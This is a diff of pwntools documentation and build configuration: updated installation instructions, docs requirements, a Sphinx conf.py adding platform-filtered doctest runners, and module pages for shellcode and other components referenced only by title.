Pwntools supports Python 3.10+ since version 5.0.0. Use Pwntools 4.x for older versions as well as Python 2.7. Most of the functionality of pwntools is self-contained and Python-only. You should be able to get running quickly with
|
||||
|
||||
```sh
|
||||
apt-get update
|
||||
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
|
||||
sudo apt-get update
|
||||
sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
|
||||
python3 -m pip install --upgrade pip
|
||||
python3 -m pip install --upgrade pwntools
|
||||
```
|
||||
|
||||
+9
-2
@@ -4,18 +4,25 @@ Pwntools makes extensive use of unit tests and integration tests to ensure every
|
||||
|
||||
## Test Suite
|
||||
|
||||
To run the test suite, it is best to use Ubuntu 12.04 or 14.04, and run the following commands. **Be aware** that this will add a user to the machine, and create a public key for SSH login!
|
||||
To run the test suite, it is best to use Ubuntu 22.04 or 24.04, and run the following commands. **Be aware** that this will add a user to the machine, and create a public key for SSH login!
|
||||
|
||||
```sh
|
||||
bash travis/install.sh
|
||||
bash travis/ssh_setup.sh
|
||||
pip install --upgrade --editable .
|
||||
pip install --upgrade -r docs/requirements.txt
|
||||
PWNLIB_NOTERM=1 make -C docs doctest
|
||||
```
|
||||
|
||||
You can run doctests for a single file for faster iteration:
|
||||
|
||||
```sh
|
||||
PWNLIB_NOTERM=1 python -m sphinx -b doctest docs/source docs/build/doctest docs/source/elf/elf.rst
|
||||
```
|
||||
|
||||
## Testing in Docker
|
||||
|
||||
A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Xenial. It is very similar to the online Travis CI testing environment, but uses a more modern version of Ubuntu.
|
||||
A `Dockerfile` has been provided which has a clean testing environment with Ubuntu Noble. It is very similar to the online Github Actions CI testing environment.
|
||||
|
||||
See `travis/docker/README.md` for more information.
|
||||
|
||||
|
||||
@@ -1,14 +1,12 @@
|
||||
capstone
|
||||
coverage[toml]
|
||||
python-dateutil
|
||||
doc2dash
|
||||
docutils<0.18
|
||||
docutils>=0.18
|
||||
intervaltree
|
||||
isort
|
||||
mako>=1.0.0
|
||||
paramiko>=1.15.2
|
||||
pip>=6.0.8
|
||||
pyelftools>=0.2.3
|
||||
pyelftools>=0.32
|
||||
pygments>=2.0
|
||||
pypandoc
|
||||
pyserial>=2.7
|
||||
@@ -16,7 +14,6 @@ pysocks
|
||||
psutil
|
||||
requests>=2.5.1
|
||||
ropgadget>=5.3
|
||||
sphinx==1.8.6; python_version<'3'
|
||||
sphinx>=4.5.0; python_version>='3'
|
||||
sphinx>=8.1.3, <9
|
||||
sphinx_rtd_theme
|
||||
sphinxcontrib-autoprogram<=0.1.5
|
||||
@@ -4,6 +4,9 @@
|
||||
from pwn import *
|
||||
adb = pwnlib.adb
|
||||
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
|
||||
|
||||
:mod:`pwnlib.adb` --- Android Debug Bridge
|
||||
=====================================================
|
||||
|
||||
|
||||
@@ -4,6 +4,10 @@
|
||||
import subprocess
|
||||
from pwn import *
|
||||
|
||||
# TODO: Remove global POSIX flag
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
|
||||
|
||||
:mod:`pwnlib.asm` --- Assembler functions
|
||||
=========================================
|
||||
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwnlib import atexception
|
||||
|
||||
:mod:`pwnlib.atexception` --- Callbacks on unhandled exception
|
||||
==============================================================
|
||||
|
||||
|
||||
@@ -5,7 +5,8 @@
|
||||
|
||||
.. testcleanup:: *
|
||||
|
||||
context.defaults.copy = old
|
||||
context.defaults.clear()
|
||||
context.defaults.update(old)
|
||||
|
||||
Command Line Tools
|
||||
========================
|
||||
@@ -18,3 +19,7 @@ If these tools do not appear to be installed, make sure that you have added ``~/
|
||||
|
||||
.. autoprogram:: pwnlib.commandline.main:parser
|
||||
:prog: pwn
|
||||
|
||||
.. only:: doctest
|
||||
|
||||
.. automodule:: pwnlib.commandline.errno
|
||||
+110
-58
@@ -1,5 +1,3 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
#
|
||||
# pwntools documentation build configuration file, created by
|
||||
# sphinx-quickstart on Wed May 28 15:00:52 2014.
|
||||
#
|
||||
@@ -14,9 +12,9 @@
|
||||
import os
|
||||
import doctest
|
||||
import signal
|
||||
import six
|
||||
import subprocess
|
||||
import sys
|
||||
from datetime import datetime, timezone
|
||||
|
||||
build_dash = tags.has('dash')
|
||||
|
||||
@@ -71,7 +69,6 @@ doctest_global_setup = '''
|
||||
import sys, os
|
||||
os.environ['PWNLIB_NOTERM'] = '1'
|
||||
os.environ['PWNLIB_RANDOMIZE'] = '0'
|
||||
import six
|
||||
import pwnlib.update
|
||||
import pwnlib.util.fiddling
|
||||
import logging
|
||||
@@ -88,7 +85,7 @@ pwnlib.log.rootlogger.setLevel(1)
|
||||
# Sphinx modifies sys.stdout, and context.log_terminal has
|
||||
# a reference to the original instance. We need to update
|
||||
# it for logging to be captured.
|
||||
class stdout(object):
|
||||
class stdout:
|
||||
def __getattr__(self, name):
|
||||
return getattr(sys.stdout, name)
|
||||
def __setattr__(self, name, value):
|
||||
@@ -99,7 +96,6 @@ github_actions = os.environ.get('USER') == 'runner'
|
||||
travis_ci = os.environ.get('USER') == 'travis'
|
||||
local_doctest = os.environ.get('USER') == 'pwntools'
|
||||
skip_android = True
|
||||
is_python2 = six.PY2
|
||||
'''
|
||||
|
||||
autoclass_content = 'both'
|
||||
@@ -108,7 +104,7 @@ autodoc_member_order = 'groupwise' # 'alphabetical'
|
||||
# Add any paths that contain templates here, relative to this directory.
|
||||
templates_path = ['_templates']
|
||||
|
||||
doctest_test_doctest_blocks = 'true'
|
||||
doctest_test_doctest_blocks = 'default'
|
||||
|
||||
# The suffix of source filenames.
|
||||
source_suffix = '.rst'
|
||||
@@ -121,7 +117,7 @@ master_doc = 'index'
|
||||
|
||||
# General information about the project.
|
||||
project = u'pwntools'
|
||||
copyright = u'2016, Gallopsled et al.'
|
||||
copyright = u'2016-2026, Gallopsled et al.'
|
||||
|
||||
# The version info for the project you're documenting, acts as replacement for
|
||||
# |version| and |release|, also used in various other places throughout the
|
||||
@@ -263,11 +259,11 @@ latex_elements = {
|
||||
# (source start file, target name, title, author, documentclass [howto/manual]).
|
||||
latex_documents = [
|
||||
('index', 'pwntools.tex', u'pwntools Documentation',
|
||||
u'2016, Gallopsled et al.', 'manual'),
|
||||
u'2016-2026, Gallopsled et al.', 'manual'),
|
||||
]
|
||||
|
||||
intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
|
||||
'paramiko': ('https://docs.paramiko.org/en/2.1/', None)}
|
||||
'paramiko': ('https://docs.paramiko.org/en/stable/', None)}
|
||||
|
||||
# The name of an image file (relative to this directory) to place at the top of
|
||||
# the title page.
|
||||
@@ -296,7 +292,7 @@ intersphinx_mapping = {'python': ('https://docs.python.org/3/', None),
|
||||
# (source start file, name, description, authors, manual section).
|
||||
man_pages = [
|
||||
('index', 'pwntools', u'pwntools Documentation',
|
||||
[u'2016, Gallopsled et al.'], 1)
|
||||
[u'2016-2026, Gallopsled et al.'], 1)
|
||||
]
|
||||
|
||||
# If true, show URL addresses after external links.
|
||||
@@ -360,7 +356,10 @@ def linkcode_resolve(domain, info):
|
||||
else:
|
||||
filename = info['module'].replace('.', '/') + '.py'
|
||||
|
||||
if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType) + six.class_types):
|
||||
if isinstance(val, property):
|
||||
val = val.fget
|
||||
|
||||
if isinstance(val, (types.ModuleType, types.MethodType, types.FunctionType, types.TracebackType, types.FrameType, types.CodeType, type)):
|
||||
try:
|
||||
lines, first = inspect.getsourcelines(val)
|
||||
filename += '#L%d-L%d' % (first, first + len(lines) - 1)
|
||||
@@ -385,7 +384,6 @@ if build_dash:
|
||||
|
||||
|
||||
# -- Customization to Sphinx autodoc generation --------------------------------------------
|
||||
import sphinx.ext.autodoc
|
||||
|
||||
# Test hidden members (e.g. def _foo(...))
|
||||
def dont_skip_any_doctests(app, what, name, obj, skip, options):
|
||||
@@ -393,56 +391,110 @@ def dont_skip_any_doctests(app, what, name, obj, skip, options):
|
||||
|
||||
autodoc_default_options = {'special-members': None, 'private-members': None}
|
||||
|
||||
class _DummyClass(object): pass
|
||||
# doctest optionflags for platform-specific tests
|
||||
# they are skipped on other platforms
|
||||
WINDOWS = doctest.register_optionflag('WINDOWS')
|
||||
LINUX = doctest.register_optionflag('LINUX')
|
||||
POSIX = doctest.register_optionflag('POSIX')
|
||||
|
||||
class Py2OutputChecker(_DummyClass, doctest.OutputChecker):
|
||||
def check_output(self, want, got, optionflags):
|
||||
sup = super(Py2OutputChecker, self).check_output
|
||||
if sup(want, got, optionflags):
|
||||
return True
|
||||
try:
|
||||
rly_want = pwnlib.util.safeeval.const(want)
|
||||
if sup(repr(rly_want), got, optionflags):
|
||||
return True
|
||||
rly_got = pwnlib.util.safeeval.const(got)
|
||||
if rly_want == rly_got:
|
||||
return True
|
||||
except ValueError:
|
||||
pass
|
||||
rly_want = ' '.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
|
||||
if sup(rly_want, got, optionflags):
|
||||
return True
|
||||
rly_want = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in want.replace('\n','\n ').split(' ')).replace('\n ','\n')
|
||||
if sup(rly_want, got, optionflags):
|
||||
return True
|
||||
for wantl, gotl in six.moves.zip_longest(want.splitlines(), got.splitlines(), fillvalue=''):
|
||||
rly_want1 = '['.join(x[:2].replace('b"','"').replace("b'","'")+x[2:] for x in wantl.split('['))
|
||||
rly_want2 = ' '.join(x[:2].replace('b"',' "').replace("b'"," '")+x[2:] for x in wantl.split(' '))
|
||||
if not sup(rly_want1, gotl, optionflags) and not sup(rly_want2, gotl, optionflags):
|
||||
# doctest optionflag for tests that haven't been looked at yet
|
||||
TODO = doctest.register_optionflag('TODO')
|
||||
|
||||
import sphinx.ext.doctest
|
||||
|
||||
class PlatformDocTestRunner(sphinx.ext.doctest.SphinxDocTestRunner):
|
||||
def run(self, test, compileflags=None, out=None, clear_globs=True):
|
||||
original_optionflags = self.optionflags | test.globs.get('doctest_additional_flags', 0)
|
||||
def filter_platform(example):
|
||||
optionflags = original_optionflags
|
||||
if example.options:
|
||||
for (optionflag, val) in example.options.items():
|
||||
if val:
|
||||
optionflags |= optionflag
|
||||
else:
|
||||
optionflags &= ~optionflag
|
||||
|
||||
if (optionflags & WINDOWS) == WINDOWS and sys.platform != 'win32':
|
||||
return False
|
||||
return True
|
||||
if (optionflags & LINUX) == LINUX and sys.platform != 'linux':
|
||||
return False
|
||||
if (optionflags & POSIX) == POSIX and os.name != 'posix':
|
||||
return False
|
||||
return True
|
||||
|
||||
test.examples[:] = [example for example in test.examples if filter_platform(example)]
|
||||
|
||||
return super(PlatformDocTestRunner, self).run(test, compileflags, out, clear_globs)
|
||||
|
||||
def py2_doctest_init(self, checker=None, verbose=None, optionflags=0):
|
||||
if checker is None:
|
||||
checker = Py2OutputChecker()
|
||||
doctest.DocTestRunner.__init__(self, checker, verbose, optionflags)
|
||||
class PlatformDocTestBuilder(sphinx.ext.doctest.DocTestBuilder):
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
super(PlatformDocTestBuilder, self).__init__(*args, **kwargs)
|
||||
self._test_runner = None
|
||||
self._doctree_had_tests = False
|
||||
|
||||
@property
|
||||
def test_runner(self):
|
||||
return self._test_runner
|
||||
|
||||
@test_runner.setter
|
||||
def test_runner(self, value):
|
||||
self._test_runner = PlatformDocTestRunner(value._checker, value._verbose, value.optionflags)
|
||||
|
||||
def test_doc(self, docname, doctree):
|
||||
start = datetime.now(timezone.utc).astimezone()
|
||||
# self._out(f"[{start.isoformat(timespec='milliseconds')}] doctest start: {docname}\n")
|
||||
self._doctree_had_tests = False
|
||||
try:
|
||||
return super(PlatformDocTestBuilder, self).test_doc(docname, doctree)
|
||||
finally:
|
||||
# Only print the timestamp if there were actually tests run.
|
||||
if self._doctree_had_tests:
|
||||
end = datetime.now(timezone.utc).astimezone()
|
||||
duration = (end - start).total_seconds()
|
||||
self._out(f"[{end.isoformat(timespec='milliseconds')} - {duration:.2f}s]\n")
|
||||
self._doctree_had_tests = False
|
||||
|
||||
def test_group(self, group):
|
||||
# Only called when there are tests to run in the current document.
|
||||
self._doctree_had_tests = True
|
||||
return super(PlatformDocTestBuilder, self).test_group(group)
|
||||
|
||||
if 'doctest' in sys.argv:
|
||||
def setup(app):
|
||||
pass # app.connect('autodoc-skip-member', dont_skip_any_doctests)
|
||||
app.add_builder(PlatformDocTestBuilder, override=True)
|
||||
# app.connect('autodoc-skip-member', dont_skip_any_doctests)
|
||||
# monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661
|
||||
import paramiko.client
|
||||
import binascii
|
||||
paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()
|
||||
paramiko.util.safe_string = lambda x: '' # function result never *actually used*
|
||||
|
||||
if sys.version_info[:1] < (3,):
|
||||
import sphinx.ext.doctest
|
||||
sphinx.ext.doctest.SphinxDocTestRunner.__init__ = py2_doctest_init
|
||||
else:
|
||||
# monkey patching paramiko due to https://github.com/paramiko/paramiko/pull/1661
|
||||
import paramiko.client
|
||||
import binascii
|
||||
paramiko.client.hexlify = lambda x: binascii.hexlify(x).decode()
|
||||
paramiko.util.safe_string = lambda x: '' # function result never *actually used*
|
||||
class EndlessLoop(Exception): pass
|
||||
def alrm_handler(sig, frame):
|
||||
signal.alarm(180) # three minutes
|
||||
raise EndlessLoop()
|
||||
signal.signal(signal.SIGALRM, alrm_handler)
|
||||
signal.alarm(600) # ten minutes
|
||||
if hasattr(signal, 'alarm'):
|
||||
def alrm_handler(sig, frame):
|
||||
signal.alarm(180) # three minutes
|
||||
raise EndlessLoop()
|
||||
signal.signal(signal.SIGALRM, alrm_handler)
|
||||
signal.alarm(600) # ten minutes
|
||||
else:
|
||||
def sigabrt_handler(signum, frame):
|
||||
raise EndlessLoop()
|
||||
# thread.interrupt_main received the signum parameter in Python 3.10
|
||||
if sys.version_info >= (3, 10):
|
||||
signal.signal(signal.SIGABRT, sigabrt_handler)
|
||||
def alrm_handler():
|
||||
try:
|
||||
import thread
|
||||
except ImportError:
|
||||
import _thread as thread
|
||||
# pre Python 3.10 this raises a KeyboardInterrupt in the main thread.
|
||||
# it might not show a traceback in that case, but it will stop the endless loop.
|
||||
thread.interrupt_main(signal.SIGABRT)
|
||||
timer = threading.Timer(interval=180, function=alrm_handler) # three minutes
|
||||
timer.daemon = True
|
||||
timer.start()
|
||||
import threading
|
||||
timer = threading.Timer(interval=600, function=alrm_handler) # ten minutes
|
||||
timer.daemon = True
|
||||
timer.start()
|
||||
@@ -18,6 +18,9 @@
|
||||
# Set the environment here so it's not in the middle of our tests.
|
||||
os.environ.setdefault('SHELL', '/bin/sh')
|
||||
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
|
||||
|
||||
|
||||
:mod:`pwnlib.elf.corefile` --- Core Files
|
||||
===========================================================
|
||||
|
||||
@@ -5,6 +5,10 @@
|
||||
from pwnlib.elf.maps import CAT_PROC_MAPS_EXIT
|
||||
import shutil
|
||||
|
||||
# TODO: Remove global POSIX flag
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
|
||||
|
||||
:mod:`pwnlib.elf.elf` --- ELF Files
|
||||
===========================================================
|
||||
|
||||
|
||||
@@ -1,6 +1,10 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
|
||||
# TODO: Remove global POSIX flag
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
|
||||
|
||||
:mod:`pwnlib.encoders` --- Encoding Shellcode
|
||||
===============================================
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwnlib.filepointer import *
|
||||
from pwnlib.filepointer import _update_var
|
||||
|
||||
:mod:`pwnlib.filepointer` --- `FILE*` structure exploitation
|
||||
============================================================
|
||||
|
||||
@@ -1,11 +1,14 @@
|
||||
.. testsetup:: *
|
||||
|
||||
import time
|
||||
import six
|
||||
from pwnlib.context import context
|
||||
from pwnlib.tubes.ssh import ssh
|
||||
from pwnlib.filesystem import *
|
||||
|
||||
# TODO: Remove global POSIX flag
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
|
||||
|
||||
:mod:`pwnlib.filesystem` --- Manipulating Files Locally and Over SSH
|
||||
====================================================================
|
||||
|
||||
|
||||
@@ -4,6 +4,10 @@
|
||||
context.arch = 'amd64'
|
||||
context.terminal = [os.path.join(os.path.dirname(pwnlib.__file__), 'gdb_faketerminal.py')]
|
||||
|
||||
# TODO: Test on cygwin too
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
|
||||
|
||||
:mod:`pwnlib.gdb` --- Working with GDB
|
||||
======================================
|
||||
|
||||
|
||||
@@ -52,31 +52,32 @@ Each of the ``pwntools`` modules is documented here.
|
||||
context
|
||||
dynelf
|
||||
encoders
|
||||
elf/*
|
||||
elf
|
||||
exception
|
||||
filepointer
|
||||
filesystem
|
||||
flag
|
||||
fmtstr
|
||||
gdb
|
||||
libc
|
||||
libcdb
|
||||
log
|
||||
memleak
|
||||
protocols
|
||||
qemu
|
||||
regsort
|
||||
replacements
|
||||
rop/*
|
||||
rop
|
||||
runner
|
||||
shellcraft
|
||||
shellcraft/*
|
||||
term
|
||||
timeout
|
||||
tubes
|
||||
tubes/*
|
||||
ui
|
||||
update
|
||||
useragents
|
||||
util/*
|
||||
windbg
|
||||
|
||||
.. toctree::
|
||||
:hidden:
|
||||
|
||||
+17
-6
@@ -1,7 +1,7 @@
|
||||
Installation
|
||||
============
|
||||
|
||||
Pwntools is best supported on 64-bit Ubuntu LTS releases (14.04, 16.04, 18.04, and 20.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
|
||||
Pwntools is best supported on 64-bit Ubuntu LTS releases (22.04 and 24.04). Most functionality should work on any Posix-like distribution (Debian, Arch, FreeBSD, OSX, etc.).
|
||||
|
||||
Prerequisites
|
||||
-------------
|
||||
@@ -15,18 +15,27 @@ following system libraries installed.
|
||||
|
||||
install/*
|
||||
|
||||
|
||||
Note: For Mac OS X you will need to have cmake ``brew install cmake`` and pkg-config ``brew install pkg-config`` installed.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
brew install pwntools
|
||||
|
||||
Released Version
|
||||
-----------------
|
||||
|
||||
pwntools is available as a ``pip`` package for both Python2 and Python3.
|
||||
pwntools is available as a ``pip`` package for Python3. Version v5.0.0 supports Python3.10 or later. Use v4 if you use earlier versions of Python.
|
||||
|
||||
Python3
|
||||
^^^^^^^
|
||||
|
||||
The Python version required for installing Pwntools is kept as low as possible on a best-effort basis. However, new features target Python3.10 and later.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ apt-get update
|
||||
$ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
|
||||
$ sudo apt-get update
|
||||
$ sudo apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
|
||||
$ python3 -m pip install --upgrade pip
|
||||
$ python3 -m pip install --upgrade pwntools
|
||||
|
||||
@@ -34,14 +43,16 @@ Python3
|
||||
Python2 (Deprecated)
|
||||
^^^^^^^^^^^^^^^^^^^^
|
||||
|
||||
Python2 support has been removed in Pwntools v5.0.0. The last version to support Python2 was v4.15.0.
|
||||
|
||||
NOTE: Pwntools maintainers STRONGLY recommend using Python3 for all future Pwntools-based scripts and projects.
|
||||
|
||||
Additionally, due to `pip` dropping support for Python2, a specfic version of `pip` must be installed.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ apt-get update
|
||||
$ apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
|
||||
$ sudo apt-get update
|
||||
$ sudo apt-get install python python-pip python-dev git libssl-dev libffi-dev build-essential
|
||||
$ python2 -m pip install --upgrade pip==20.3.4
|
||||
$ python2 -m pip install --upgrade pwntools
|
||||
|
||||
|
||||
@@ -18,28 +18,43 @@ Ubuntu Xenial (16.04) has official packages for most architectures, and does not
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ apt-get install software-properties-common
|
||||
$ apt-add-repository ppa:pwntools/binutils
|
||||
$ apt-get update
|
||||
$ sudo apt-get install software-properties-common
|
||||
$ sudo apt-add-repository ppa:pwntools/binutils
|
||||
$ sudo apt-get update
|
||||
|
||||
Then, install the binutils for your architecture.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ apt-get install binutils-$ARCH-linux-gnu
|
||||
$ sudo apt-get install binutils-$ARCH-linux-gnu
|
||||
|
||||
Mac OS X
|
||||
^^^^^^^^^^^^^^^^
|
||||
|
||||
Mac OS X is just as easy, but requires building binutils from source.
|
||||
However, we've made ``homebrew`` recipes to make this a single command.
|
||||
However, we've made ``homebrew`` recipes to make this just two commands.
|
||||
After installing `brew <https://brew.sh>`__, grab the appropriate
|
||||
recipe from our `binutils
|
||||
repo <https://github.com/Gallopsled/pwntools-binutils/>`__.
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
|
||||
$ wget https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-$ARCH.rb
|
||||
$ brew install ./binutils-$ARCH.rb
|
||||
|
||||
Note: The pwntools/pwntools Homebrew tap is currently (August 2026) undergoing migration.
|
||||
If you encounter issues on Mac OS, try running ``export HOMEBREW_DEVELOPER="true"`` before ``brew install ...``.
|
||||
The actual resolution of the tap migration is still pending.
|
||||
|
||||
|
||||
Windows
|
||||
^^^^^^^^^^^^^^^^
|
||||
|
||||
Windows support is experimental. You can try installing a prebuilt version of binutils
|
||||
for your desired architecture from the `GNU Toolchains <https://gnutoolchains.com/>`__ project.
|
||||
|
||||
Note: For x86 and x86_64, you should use the `ubuntu toolchain <https://gnutoolchains.com/ubuntu/>`__
|
||||
instead of the MinGW toolchains due to differences in the commandline handling.
|
||||
|
||||
Alternate OSes
|
||||
^^^^^^^^^^^^^^^^
|
||||
|
||||
@@ -10,7 +10,7 @@ Ubuntu
|
||||
|
||||
.. code-block:: bash
|
||||
|
||||
$ apt-get install python-dev
|
||||
$ sudo apt-get install python-dev
|
||||
|
||||
Mac OS X
|
||||
^^^^^^^^^^^^^^^^
|
||||
|
||||
@@ -2,6 +2,9 @@
|
||||
|
||||
from pwn import *
|
||||
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
|
||||
|
||||
Getting Started
|
||||
========================
|
||||
|
||||
@@ -34,6 +37,8 @@ This exposes a standard interface to talk to processes, sockets, serial ports,
|
||||
and all manner of things, along with some nifty helpers for common tasks.
|
||||
For example, remote connections via :mod:`pwnlib.tubes.remote`.
|
||||
|
||||
::
|
||||
|
||||
>>> conn = remote('ftp.ubuntu.com',21)
|
||||
>>> conn.recvline() # doctest: +ELLIPSIS
|
||||
b'220 ...'
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
:mod:`pwnlib.libc` --- Convenient Functions for Libc Implementations
|
||||
====================================================================
|
||||
|
||||
Submodules
|
||||
----------
|
||||
|
||||
.. toctree::
|
||||
:glob:
|
||||
|
||||
libc/*
|
||||
@@ -0,0 +1,9 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
|
||||
:mod:`pwnlib.libc.glibc` --- Convenient Functions for Glibc
|
||||
===========================================================
|
||||
|
||||
.. automodule:: pwnlib.libc.glibc
|
||||
:members:
|
||||
@@ -3,6 +3,10 @@
|
||||
from pwn import *
|
||||
from pwnlib.libcdb import *
|
||||
|
||||
# TODO: Remove global POSIX flag
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
|
||||
|
||||
:mod:`pwnlib.libcdb` --- Libc Database
|
||||
===========================================
|
||||
|
||||
|
||||
@@ -1 +1,10 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
|
||||
|
||||
:mod:`pwnlib.protocols.adb` --- Protocol implementations
|
||||
========================================================
|
||||
|
||||
.. automodule:: pwnlib.protocols.adb
|
||||
:members:
|
||||
@@ -2,6 +2,10 @@
|
||||
|
||||
from pwn import *
|
||||
|
||||
# TODO: Remove global POSIX flag
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
|
||||
|
||||
|
||||
:mod:`pwnlib.qemu` --- QEMU Utilities
|
||||
==========================================
|
||||
|
||||
@@ -19,6 +19,10 @@
|
||||
|
||||
context.clear()
|
||||
|
||||
# TODO: Remove global LINUX flag
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
|
||||
|
||||
|
||||
:mod:`pwnlib.rop.rop` --- Return Oriented Programming
|
||||
==========================================================
|
||||
|
||||
@@ -7,6 +7,9 @@
|
||||
from pwnlib.elf import ELF
|
||||
from pwnlib.tubes.process import process
|
||||
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
|
||||
|
||||
:mod:`pwnlib.rop.srop` --- Sigreturn Oriented Programming
|
||||
==========================================================
|
||||
|
||||
|
||||
@@ -3,6 +3,10 @@
|
||||
from pwnlib.runner import *
|
||||
from pwnlib.asm import asm
|
||||
|
||||
# TODO: Remove global POSIX flag
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
|
||||
|
||||
:mod:`pwnlib.runner` --- Running Shellcode
|
||||
===========================================
|
||||
|
||||
|
||||
@@ -2,6 +2,10 @@
|
||||
|
||||
from pwnlib import shellcraft
|
||||
|
||||
# TODO: Remove global POSIX flag
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
|
||||
|
||||
:mod:`pwnlib.shellcraft` --- Shellcode generation
|
||||
=================================================
|
||||
|
||||
|
||||
@@ -3,6 +3,9 @@
|
||||
from pwn import *
|
||||
context.clear(arch='aarch64')
|
||||
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
|
||||
|
||||
:mod:`pwnlib.shellcraft.aarch64` --- Shellcode for AArch64
|
||||
===========================================================
|
||||
|
||||
|
||||
@@ -3,6 +3,10 @@
|
||||
from pwn import *
|
||||
context.clear(arch='amd64')
|
||||
|
||||
# TODO: POSIX/WINDOWS shellcode test
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
|
||||
|
||||
:mod:`pwnlib.shellcraft.amd64` --- Shellcode for AMD64
|
||||
===========================================================
|
||||
|
||||
|
||||
@@ -3,6 +3,9 @@
|
||||
from pwn import *
|
||||
context.clear(arch='arm')
|
||||
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
|
||||
|
||||
:mod:`pwnlib.shellcraft.arm` --- Shellcode for ARM
|
||||
===========================================================
|
||||
|
||||
|
||||
@@ -3,6 +3,9 @@
|
||||
from pwn import *
|
||||
context.clear(arch='i386')
|
||||
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['POSIX']
|
||||
|
||||
:mod:`pwnlib.shellcraft.i386` --- Shellcode for Intel 80386
|
||||
===========================================================
|
||||
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
context.clear(arch='loongarch64')
|
||||
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
|
||||
|
||||
:mod:`pwnlib.shellcraft.loongarch64` --- Shellcode for LoongArch64
|
||||
==================================================================
|
||||
|
||||
:mod:`pwnlib.shellcraft.loongarch64`
|
||||
------------------------------------
|
||||
|
||||
.. automodule:: pwnlib.shellcraft.loongarch64
|
||||
:members:
|
||||
|
||||
:mod:`pwnlib.shellcraft.loongarch64.linux`
|
||||
------------------------------------------
|
||||
|
||||
.. automodule:: pwnlib.shellcraft.loongarch64.linux
|
||||
:members:
|
||||
@@ -12,6 +12,9 @@
|
||||
|
||||
context.clear(arch='mips')
|
||||
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
|
||||
|
||||
:mod:`pwnlib.shellcraft.mips` --- Shellcode for MIPS
|
||||
===========================================================
|
||||
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
context.clear(arch='riscv64')
|
||||
|
||||
import doctest
|
||||
doctest_additional_flags = doctest.OPTIONFLAGS_BY_NAME['LINUX']
|
||||
|
||||
:mod:`pwnlib.shellcraft.riscv64` --- Shellcode for RISCV64
|
||||
==========================================================
|
||||
|
||||
:mod:`pwnlib.shellcraft.riscv64`
|
||||
--------------------------------
|
||||
|
||||
.. automodule:: pwnlib.shellcraft.riscv64
|
||||
:members:
|
||||
|
||||
:mod:`pwnlib.shellcraft.riscv64.linux`
|
||||
--------------------------------------
|
||||
|
||||
.. automodule:: pwnlib.shellcraft.riscv64.linux
|
||||
:members:
|
||||
@@ -3,6 +3,9 @@
|
